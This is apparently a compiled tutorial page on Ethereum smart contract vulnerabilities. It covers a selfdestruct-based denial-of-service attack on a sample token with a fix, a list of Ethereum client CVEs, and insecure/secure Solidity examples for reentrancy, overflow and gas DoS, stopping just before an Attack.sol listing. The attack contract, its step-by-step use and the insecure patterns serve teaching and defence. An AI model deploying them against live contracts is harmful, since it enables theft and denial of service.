        require(msg.value != 0, "Require some Ether to attack");

        address payable target = payable(moonToken);
        selfdestruct(target);
    }
}

GITHUB


To attack the InsecureMoonToken, an attacker performs the attack steps as follows.

  1. Deploy the Attack contract as well as specifying the InsecureMoonToken contract address as the contract deployment argument (line 6)
  2. Invoke the Attack.attack() function along with supplying some Ethers for attacking

After step 2, the supplied Ethers would be forcibly sent into the InsecureMoonToken contract by way of the selfdestruct function (line 14). Then, any sell transactions would be reverted, leading to a denial-of-service attack to the InsecureMoonToken contract.

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак
Figure 2. The attack result

Figure 2 displays the result of the attack. As you can see, two users bought 55 MOONs with 55 Ethers. But, after the attacker forcibly sent 1 Wei to the InsecureMoonToken contract, the users were no longer selling their MOONs.

Surprise!! You can buy it but may not sell it.


The Solution

The FixedMoonToken contract below is the remediated version of the InsecureMoonToken contract.

pragma solidity 0.8.17;

contract FixedMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        // FIX: Do not rely on address(this).balance. If necessary, however, 
        // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
        assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

GITHUB


The smart contract should avoid being dependent on the contract’s Ether balance (i.e., address(this).balance) as it can be artificially manipulated. If necessary, however, the contract should be prepared for such cases of contract balance manipulation.

To remediate the improper balance assertion issue, the FixedMoonToken contract’s assertion statement was improved by using the >= instead of the == symbol as follows: assert(getEtherBalance() >= totalSupply * TOKEN_PRICE); (line 37).

As a result, even if the contract balance is manipulated, the FixedMoonToken contract’s sell function could still work fine.


#CVE IDCWE ID# of ExploitsVulnerability Type(s)Publish DateUpdate DateScoreGained Access LevelAccessComplexityAuthenticationConf.Integ.Avail.
1CVE-2022-374502022-08-052022-08-120.0None??????????????????
Go Ethereum (aka geth) through 1.10.21 allows attackers to increase rewards by mining blocks in certain situations, and using a manipulation of time-difference values to achieve replacement of main-chain blocks, aka Riskless Uncle Making (RUM), as exploited in the wild in 2020 through 2022.
2CVE-2022-291772022-05-202022-06-064.3NoneRemoteMediumNot requiredNoneNonePartial
Go Ethereum is the official Golang implementation of the Ethereum protocol. Prior to version 1.10.17, a vulnerable node, if configured to use high verbosity logging, can be made to crash when handling specially crafted p2p messages sent from an attacker node. Version 1.10.17 contains a patch that addresses the problem. As a workaround, setting loglevel to default level (`INFO`) makes the node not vulnerable to this attack.
3CVE-2022-23328400DoS2022-03-042022-03-175.0NoneRemoteLowNot requiredNoneNonePartial
A design flaw in all versions of Go-Ethereum allows an attacker node to send 5120 pending transactions of a high gas price from one account that all fully spend the full balance of the account to a victim Geth node, which can purge all of pending transactions in a victim node’s memory pool and then occupy the memory pool to prevent new transactions from entering the pool, resulting in a denial of service (DoS).
4CVE-2022-23327DoS2022-03-042022-03-175.0NoneRemoteLowNot requiredNoneNonePartial
A design flaw in Go-Ethereum 1.10.12 and older versions allows an attacker node to send 5120 future transactions with a high gas price in one message, which can purge all of pending transactions in a victim node’s memory pool, causing a denial of service (DoS).
5CVE-2022-1930697DoS2022-08-222022-08-250.0None??????????????????
An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the eth-account PyPI package, when an attacker is able to supply arbitrary input to the encode_structured_data method
6CVE-2021-43668476DoS2021-11-182021-11-232.1NoneLocalLowNot requiredNoneNonePartial
Go-Ethereum 1.10.9 nodes crash (denial of service) after receiving a serial of messages and cannot be recovered. They will crash with “runtime error: invalid memory address or nil pointer dereference” and arise a SEGV signal.
7CVE-2021-42219DoS2022-03-172022-03-285.0NoneRemoteLowNot requiredNoneNonePartial
Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go.
8CVE-2021-411732021-10-262021-10-283.5NoneRemoteMedium???NoneNonePartial
Go Ethereum is the official Golang implementation of the Ethereum protocol. Prior to version 1.10.9, a vulnerable node is susceptible to crash when processing a maliciously crafted message from a peer. Version v1.10.9 contains patches to the vulnerability. There are no known workarounds aside from upgrading.
9CVE-2021-391374362021-08-242021-08-315.0NoneRemoteLowNot requiredNoneNonePartial
go-ethereum is the official Go implementation of the Ethereum protocol. In affected versions a consensus-vulnerability in go-ethereum (Geth) could cause a chain split, where vulnerable versions refuse to accept the canonical chain. Further details about the vulnerability will be disclosed at a later date. A patch is included in the upcoming `v1.10.8` release. No workaround are available.
10CVE-2020-26800787DoS Overflow2021-01-112021-01-134.3NoneRemoteMediumNot requiredNoneNonePartial
A stack overflow vulnerability in Aleth Ethereum C++ client version <= 1.8.0 using a specially crafted a config.json file may result in a denial of service.
11CVE-2020-262656822020-12-112020-12-143.5NoneRemoteMedium???NonePartialNone
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth from version 1.9.4 and before version 1.9.20 a consensus-vulnerability could cause a chain split, where vulnerable versions refuse to accept the canonical chain. The fix was included in the Paragade release version 1.9.20. No individual workaround patches have been made — all users are recommended to upgrade to a newer version.
12CVE-2020-262644002020-12-112020-12-144.0NoneRemoteLow???NoneNonePartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth before version 1.9.25 a denial-of-service vulnerability can make a LES server crash via malicious GetProofsV2 request from a connected LES client. This vulnerability only concerns users explicitly enabling les server; disabling les prevents the exploit. The vulnerability was patched in version 1.9.25.
13CVE-2020-262422020-11-252020-12-035.0NoneRemoteLowNot requiredNoneNonePartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth before version 1.9.18, there is a Denial-of-service (crash) during block processing. This is fixed in 1.9.18.
14CVE-2020-262416822020-11-252020-12-035.5NoneRemoteLow???NonePartialPartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. This is a Consensus vulnerability in Geth before version 1.9.17 which can be used to cause a chain-split where vulnerable nodes reject the canonical chain. Geth’s pre-compiled dataCopy (at 0x00…04) contract did a shallow copy on invocation. An attacker could deploy a contract that writes X to an EVM memory region R, then calls 0x00..04 with R as an argument, then overwrites R to Y, and finally invokes the RETURNDATACOPY opcode. When this contract is invoked, a consensus-compliant node would push X on the EVM stack, whereas Geth would push Y. This is fixed in version 1.9.17.
15CVE-2020-262406822020-11-252020-12-035.0NoneRemoteLowNot requiredNonePartialNone
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. An ethash mining DAG generation flaw in Geth before version 1.9.24 could cause miners to erroneously calculate PoW in an upcoming epoch (estimated early January, 2021). This happened on the ETC chain on 2020-11-06. This issue is relevant only for miners, non-mining nodes are unaffected. This issue is fixed as of 1.9.24
16CVE-2018-20421770DoS2018-12-242019-10-035.0NoneRemoteLowNot requiredNoneNonePartial
Go Ethereum (aka geth) 1.8.19 allows attackers to cause a denial of service (memory consumption) by rewriting the length of a dynamic array in memory, and then writing data to a single memory location with a large index number, as demonstrated by use of “assembly { mstore }” followed by a “c[0xC800000] = 0xFF” assignment.
17CVE-2018-19184476DoS2018-11-122018-12-135.0NoneRemoteLowNot requiredNoneNonePartial
cmd/evm/runner.go in Go Ethereum (aka geth) 1.8.17 allows attackers to cause a denial of service (SEGV) via crafted bytecode.
18CVE-2018-18920119Exec Code Overflow2018-11-122019-02-046.8NoneRemoteMediumNot requiredPartialPartialPartial
Py-EVM v0.2.0-alpha.33 allows attackers to make a vm.execute_bytecode call that triggers computation._stack.values with ‘”stack”: [100, 100, 0]’ where b’\x’ was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to “smart contracts can be executed indefinitely without gas being paid.”
19CVE-2018-16733202018-09-082018-11-075.0NoneRemoteLowNot requiredNonePartialNone
In Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block.
20CVE-2018-158905022019-06-202019-06-2010.0NoneRemoteLowNot requiredCompleteCompleteComplete
An issue was discovered in EthereumJ 1.8.2. There is Unsafe Deserialization in ois.readObject in mine/Ethash.java and decoder.readObject in crypto/ECKey.java. When a node syncs and mines a new block, arbitrary OS commands can be run on the server.
21CVE-2018-12018129DoS2018-07-052018-09-045.0NoneRemoteLowNot requiredNoneNonePartial
The GetBlockHeadersMsg handler in the LES protocol implementation in Go Ethereum (aka geth) before 1.8.11 may lead to an access violation because of an integer signedness error for the array index, which allows attackers to launch a Denial of Service attack by sending a packet with a -1 query.Skip value. The vulnerable remote node would be crashed by such an attack immediately, aka the EPoD (Ethereum Packet of Death) issue.
22CVE-2017-14457125DoS +Info2018-01-192023-01-306.4NoneRemoteLowNot requiredPartialNonePartial
An exploitable information leak/denial of service vulnerability exists in the libevm (Ethereum Virtual Machine) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious a smart contract to trigger this vulnerability.
23CVE-2017-14451125Exec Code2020-12-022020-12-097.5NoneRemoteLowNot requiredPartialPartialPartial
An exploitable out-of-bounds read vulnerability exists in libevm (Ethereum Virtual Machine) of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read which can subsequently trigger an out-of-bounds write resulting in remote code execution. An attacker can create/send malicious smart contract to trigger this vulnerability.
24CVE-2017-12119754DoS2018-01-192022-12-145.0NoneRemoteLowNot requiredNoneNonePartial
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum JSON-RPC. Specially crafted JSON requests can cause an unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.
25CVE-2017-121188632018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_stop API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). An attacker can send JSON to trigger this vulnerability.
26CVE-2017-12117863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_start API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
27CVE-2017-12116863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_setGasPrice API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
28CVE-2017-12115863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_setEtherbase API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass.
29CVE-2017-12114863Bypass2018-01-192022-12-144.3NoneRemoteMediumNot requiredPartialNoneNone
An exploitable improper authorization vulnerability exists in admin_peers API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
30CVE-2017-12113863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in admin_nodeInfo API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
31CVE-2017-12112863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.

Known Attacks

The following is a list of known attacks which you should be aware of, and defend against when writing smart contracts.

Race Conditions

One of the major dangers of calling external contracts is that they can take over the control flow, and make changes to your data that the calling function wasn’t expecting. This class of bug can take many forms, and both of the major bugs that led to the DAO’s collapse were bugs of this sort.

Reentrancy

The first version of this bug to be noticed involved functions that could be called repeatedly, before the first invocation of the function was finished. This may cause the different invocations of the function to interact in destructive ways.

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call withdrawBalance again
    userBalances[msg.sender] = 0;
}

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed, and will withdraw the balance over and over again. A very similar bug was one of the vulnerabilities in the DAO attack.

In the example given, the best way to avoid the problem is to use send() instead of call.value()(). This will prevent any external code from being executed.

However, if you can’t remove the external call, the next simplest way to prevent this attack is to make sure you don’t call an external function until you’ve done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    require(msg.sender.call.value(amountToWithdraw)()); // The user's balance is already 0, so future invocations won't withdraw anything
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

Cross-function Race Conditions

An attacker may also be able to do a similar attack using two different functions that share the same state.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call transfer()
    userBalances[msg.sender] = 0;
}

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack.

The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Pitfalls in Race Condition Solutions

Since race conditions can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentry will not be sufficient.

Instead, we have recommended finishing all internal work first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid race conditions. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdraw(address recipient) public {
    uint amountToWithdraw = userBalances[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdraw(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn’t directly call an external contract, the call in withdraw() is enough to make it vulnerable to a race condition. You therefore need to treat withdraw() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdraw(address recipient) public {
    uint amountToWithdraw = userBalances[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdraw(recipient); // claimedBonus has been set to true, so reentry is impossible
}

In addition to the fix making reentry impossible, untrusted functions have been marked. This same pattern repeats at every level: since untrustedGetFirstWithdrawalBonus() calls untrustedWithdraw(), which calls an external contract, you must also treat untrustedGetFirstWithdrawalBonus() as insecure.

Another solution often suggested is a mutex. This allows you to “lock” some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state
mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    if (msg.sender.call(amount)()) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == 0);
        lockHolder = msg.sender;
    }

    function releaseLock() {
        lockHolder = 0;
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against race conditions, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)

* Some may object to the use of the term race condition since Ethereum does not currently have true parallelism. However, there is still the fundamental feature of logically distinct processes contending for resources, and the same sorts of pitfalls and potential solutions apply.

Transaction-Ordering Dependence (TOD) / Front Running

Above were examples of race conditions involving the attacker executing malicious code within a single transaction. The following are a different type of race condition inherent to Blockchains: the fact that the order of transactions themselves (within a block) is easily subject to manipulation.

Since a transaction is in the mempool for a short while, one can know what actions will occur, before it is included in a block. This can be troublesome for things like decentralized markets, where a transaction to buy some tokens can be seen, and a market order implemented before the other transaction gets included. Protecting against this is difficult, as it would come down to the specific contract itself. For example, in markets, it would be better to implement batch auctions (this also protects against high frequency trading concerns). Another way to use a pre-commit scheme (“I’m going to submit the details later”).

Timestamp Dependence

Be aware that the timestamp of the block can be manipulated by the miner, and all direct and indirect uses of the timestamp should be considered. Block numbers and average block time can be used to estimate time, but this is not future proof as block times may change (such as the changes expected during Casper).

uint someVariable = now + 1;

if (now % 2 == 0) { // the now can be manipulated by the miner

}

if ((someVariable - 100) % 2 == 0) { // someVariable can be manipulated by the miner

}

Integer Overflow and Underflow

Be aware there are around 20 cases for overflow and underflow.

Consider a simple token transfer:

mapping (address => uint256) public balanceOf;

// INSECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance */
    require(balanceOf[msg.sender] >= _value);
    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

// SECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance and for overflows */
    require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]);

    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

If a balance reaches the maximum uint value (2^256) it will circle back to zero. This checks for that condition. This may or may not be relevant, depending on the implementation. Think about whether or not the uint value has an opportunity to approach such a large number. Think about how the uint variable changes state, and who has authority to make such changes. If any user can call functions which update the uint value, it’s more vulnerable to attack. If only an admin has access to change the variable’s state, you might be safe. If a user can increment by only 1 at a time, you are probably also safe because there is no feasible way to reach this limit.

The same is true for underflow. If a uint is made to be less than zero, it will cause an underflow and get set to its maximum value.

Be careful with the smaller data-types like uint8, uint16, uint24…etc: they can even more easily hit their maximum value.

Be aware there are around 20 cases for overflow and underflow.

DoS with (Unexpected) revert

Consider a simple auction contract:

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

When it tries to refund the old leader, it reverts if the refund fails. This means that a malicious bidder can become the leader while making sure that any refunds to their address will always fail. In this way, they can prevent anyone else from calling the bid() function, and stay the leader forever. A recommendation is to set up a pull payment system instead, as described earlier.

Another example is when a contract may iterate through an array to pay users (e.g., supporters in a crowdfunding contract). It’s common to want to make sure that each payment succeeds. If not, one should revert. The issue is that if one call fails, you are reverting the whole payout system, meaning the loop will never complete. No one gets paid because one address is forcing an error.

address[] private refundAddresses;
mapping (address => uint) public refunds;

// bad
function refundAll() public {
    for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
        require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds
    }
}

Again, the recommended solution is to favor pull over push payments.

DoS with Block Gas Limit

You may have noticed another problem with the previous example: by paying out to everyone at once, you risk running into the block gas limit. Each Ethereum block can process a certain maximum amount of computation. If you try to go over that, your transaction will fail.

This can lead to problems even in the absence of an intentional attack. However, it’s especially bad if an attacker can manipulate the amount of gas needed. In the case of the previous example, the attacker could add a bunch of addresses, each of which needs to get a very small refund. The gas cost of refunding each of the attacker’s addresses could, therefore, end up being more than the gas limit, blocking the refund transaction from happening at all.

This is another reason to favor pull over push payments.

If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions. You will need to keep track of how far you’ve gone, and be able to resume from that point, as in the following example:

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length && msg.gas > 200000) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}

You will need to make sure that nothing bad will happen if other transactions are processed while waiting for the next iteration of the payOut() function. So only use this pattern if absolutely necessary.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Forcibly Sending Ether to a Contract

It is possible to forcibly send Ether to a contract without triggering its fallback function. This is an important consideration when placing important logic in the fallback function or making calculations based on a contract’s balance. Take the following example:

contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Contract logic seems to disallow payments to the contract and therefore disallow “something bad” from happening. However, a few methods exist for forcibly sending ether to the contract and therefore making its balance greater than zero.

The selfdestruct contract method allows a user to specify a beneficiary to send any excess ether. selfdestruct does not trigger a contract’s fallback function.

It is also possible to precompute a contract’s address and send Ether to that address before deploying the contract.

Contract developers should be aware that Ether can be forcibly sent to a contract and should design contract logic accordingly. Generally, assume that it is not possible to restrict sources of funding to your contract.


Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Deprecated/historical attacks

These are attacks which are no longer possible due to changes in the protocol or improvements to solidity. They are recorded here for posterity and awareness.

Call Depth Attack (deprecated)

As of the EIP 150 hardfork, call depth attacks are no longer relevant* (all gas would be consumed well before reaching the 1024 call depth limit).


Denial of Service

Every node in the network consumes resources when maintaining a copy of the distributed ledger.  Every transaction requires storage space and computational cycles to process when a node is updating the state of its copy of the shared virtual machine.

Ethereum compensates nodes for this effort by having all transaction creators pay “gas” (fractions of an Ether) to submit and run a transaction.  This gas is paid to the node creating the block (which should vary from block to block).  The more computationally expensive the operation, the more gas required.

Ethereum also includes a cap on the amount of gas that a particular transaction or block can contain.  This helps to protect the network against spam, but it leaves it open to Denial of Service attacks.

The code sample above shows an example of a function that has a gas-based DoS vulnerability.  Notice that the number of loop iterations depends on a user-provided value and is always increasing.

This means that the contract can be placed in a state where it takes more gas to run the function than can fit in a transaction.  Since running out of gas terminates execution and causes the execution state to be rolled back to where it was before the transaction was processed, this makes the function completely unrunnable.

Reentrancy

Reentrancy is probably the most famous of the vulnerabilities that can exist in an Ethereum smart contract.  This vulnerability was behind the famous DAO hack that resulted in the split of the Ethereum and Ethereum Classic blockchains.

Reentrancy vulnerabilities are possible due to the existence of fallback functions in Ethereum smart contracts.  Smart contracts are able to receive transfers of value, and a fallback function contains code that is executed if a smart contract is sent Ether.  This creates a potential vulnerability since it allows another contract to execute code between two instructions of the contract sending the value.

The code sample above shows an example of a smart contract with a reentrancy vulnerability.  The logic follows a three-step flow:

  1. Validate that the withdrawal is valid
  2. Perform the withdrawal
  3. Update the contract’s internal balance sheet

While this flow makes sense, it also leaves the function vulnerable.  At line three, the function calls the fallback function of the function that called it.  This fallback function could contain another call to withdrawal, which would create the following flow:

  1. Malicious smart contract calls withdrawal
  2. Withdrawal validates request (line 2)
  3. Withdrawal sends value to malicious function (line 2)
  4. Malicious function’s fallback function calls withdrawal
  5. Withdrawal validates request (line 2)
  6. Withdrawal sends value to malicious function (line 2)
  7. Malicious function’s fallback function returns without doing anything
  8. Withdrawal updates internal ledger (line 3)
  9. Withdrawal returns to malicious fallback function (call from step 4)
  10. Malicious fallback function returns to withdrawal
  11. Withdrawal updates internal ledger (line 3)
  12. Withdrawal returns to malicious smart contract (call from line 1)

This flow is problematic because the internal ledger updates (steps 8 and 11) come after the value transfers (steps 3 and 6).  The second time that the malicious function calls withdrawal (step 4), withdrawal has no record of the transfer from step 3.  The test performed at step 5 tests against the original account balance (before step 3), not the value that should be in the account after the step 3 transfer.

This allows an attacker to withdraw more Ether from its account than it contains with the excess coming from other accounts on the smart contract.  Fixing this issue requires updating the internal state (line 4 of the code) before making the transfer (line 3 of the code), then testing afterward to ensure that the transfer was successful.

Short Addresses

Short address vulnerabilities arise from the fact that smart contracts can assume the length of its arguments without checking them.  For example, a function may assume that addresses are 20 bytes long but not check this fact, allowing an attacker to submit a 19-byte address.

If such a function calls a function that does enforce argument lengths, then the called function may take a byte from the next argument to meet the 20-byte target.  Later on, this argument will be right-padded to reach its desired length.

This creates a problem if, for example, the first function validates a transfer and the second performs it.  The value being transferred will be 256 times the value validated.

Unchecked Return Values

Like many other programming languages, Solidity has the concept of functions.  Solidity functions can take arguments and return values based upon the result of their execution.

One of the potential sources of confusion for Solidity programmers is the fact that similar functions handle errors differently.  For example, the low-level function send() in Solidity returns a value of False upon experiencing an error, while transfer(), a similar function, will cause execution to be halted and rolled up so that the transaction containing the error never happened.

This difference between two similar functions creates problems if developers do not know how to identify and properly handle errors when making function calls.  A call to send() that fails will allow execution to continue if the return value is not checked.  In contrast, most other low-level calls do not require a check because they terminate and roll up execution.

Reentrancy is probably the most famous Ethereum vulnerability, and it surprised everyone when discovered for the first time. It was first unveiled during a multimillion dollar heist which led to a hard fork of Ethereum. Reentrancy occurs when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. This means that the contract state may change in the middle of its execution, as a result of a call to an untrusted contract or the use of a low level function with an external address. One of the major dangers of calling external contracts is that they can take over the control flow. In a reentrancy attack, a malicious contract calls back into the calling contract before the first invocation of the function is finished. This may cause the different invocations of the function to interact in undesirable ways.

As is often the case with blockchain technology, the problems surrounding reentrancy in smart contracts do not originate in blockchain, but rather provide a novel and complex example of them.

Reentrancy is a term that has been present in computing for many years, and simply refers to the process whereby a process can be interrupted mid way through execution, have a different occurrence of the same function begin, then have both processes finish to completion. Reentrant functions are safely used in computing everyday. One good example is beginning an email draft in a server, exiting it to send another email, then being able to return to the draft to finish and send it.

So that’s a benign case of reentrancy that is simple, useful and not a threat. The problems begin to arise when this example is shifted away from a person sending an email, to a smart contract sending money. It’s a classic example of how cryptocurrencies and blockchain technology have upped the stakes of computing, providing some of its most sophisticated applications, whilst also making its pitfalls far more painful. The scale and cost of such reentrancy attacks should be a reminder that it is impossible to be too safe when it comes to code, and that a third party smart contract audit should be a staple of any project taking the security of their smart contracts seriously.

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

Vulnerability Details

The following image contains a function vulnerable to a reentrancy attack. When the low level call() function sends ether to the msg.sender address, it becomes vulnerable; if the address is a smart contract, the payment will trigger its fallback function with what’s left of the transaction gas:

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак

An attacker can carefully construct a contract at an external address which contains malicious code in the fallback function. Thus, when a contract sends ether to this address, it will invoke the malicious code. Typically the malicious code executes a function on the vulnerable contract, performing operations which were not anticipated by the developer. The name “re-entrancy” comes from the fact that the external malicious contract calls back a function on the vulnerable contract and “re-enters” code execution at an arbitrary location on the vulnerable contract.

To clarify this, consider the simple vulnerable contract, which acts as an Ethereum vault only allowing depositors to withdraw 1 ether per week.

EtherStore.sol:

Solidity Forcibly Send Ether Vulnerability // Cписок уязвимостей Ethereum для защиты Экосистемы от различных атак
Image 3: Contract Vulnerable to Reentrancy

This contract has two public functions. depositFunds() and withdrawFunds(). The depositFunds() function simply increments the senders balances. The withdrawFunds() function allows the sender to specify the amount of wei to withdraw. It will only succeed if the requested amount to withdraw is less than 1 ether and a withdrawal hasn’t occurred in the last week. 

The vulnerability comes on line [17] where the requested amount of ether is sent to the user. Consider a malicious attacker creating the following contract

Attack.sol:

